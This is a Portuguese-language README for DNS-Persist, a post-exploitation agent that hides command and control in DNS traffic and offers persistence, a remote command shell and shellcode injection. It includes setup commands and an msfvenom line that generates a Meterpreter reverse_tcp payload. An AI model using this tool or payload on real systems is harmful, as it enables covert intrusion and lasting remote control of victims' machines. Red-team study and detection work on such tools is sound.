
DNS-Persist is a post-exploitation agent which uses DNS for command and control.
DNS-Persist é um agente de pós-exploração que utiliza DNS para comando e controle. O código do lado do servidor está em Python e o agente é codificado em C++. Esta é a primeira versão, mais funcionalidades e melhorias serão adicionadas no futuro.
0x09AL - https://twitter.com/0x09al
NÃO USE ESTE SOFTWARE PARA FINS ILEGAIS.
O AUTOR NÃO SE RESPONSABILIZA POR QUALQUER USO INDEVIDO DO CÓDIGO AQUI FORNECIDO.
Há muitos trabalhos excelentes sobre DNS C2, mas criei este software para focar mais na parte de persistência. Não sou especialista em C++ e este é meu primeiro "programa real" em C++ (então espere algum código digno de vergonha alheia).
Sugestões sobre funcionalidades e melhorias são bem-vindas.
Existem duas partes principais:

Esta versão possui apenas 3 mecanismos de persistência. Mais serão adicionados posteriormente.
Esta versão suporta um shell de comandos pseudo-interativo que você pode usar para executar comandos do sistema.
Esta versão suporta injeção de shellcode de 32 bits. O shellcode é executado em uma nova thread no mesmo processo, então um shellcode com falha ou inválido também derrubará o agente. Evite bytes NULL no shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
Por padrão, um servidor DNS na porta 53 será iniciado. Você pode alterar isso no arquivo server.py.
Usei o Visual Studio 2010 para codificar o agente, então importá-lo e compilá-lo deve ser bastante fácil.
Lembre-se de alterar a variável DOMAIN_NAME em Declarations.h para corresponder ao seu nome de domínio.
Os servidores de nomes do domínio devem apontar para o endereço IP do DNS-Persist.
#define DOMAIN_NAME "example.com"



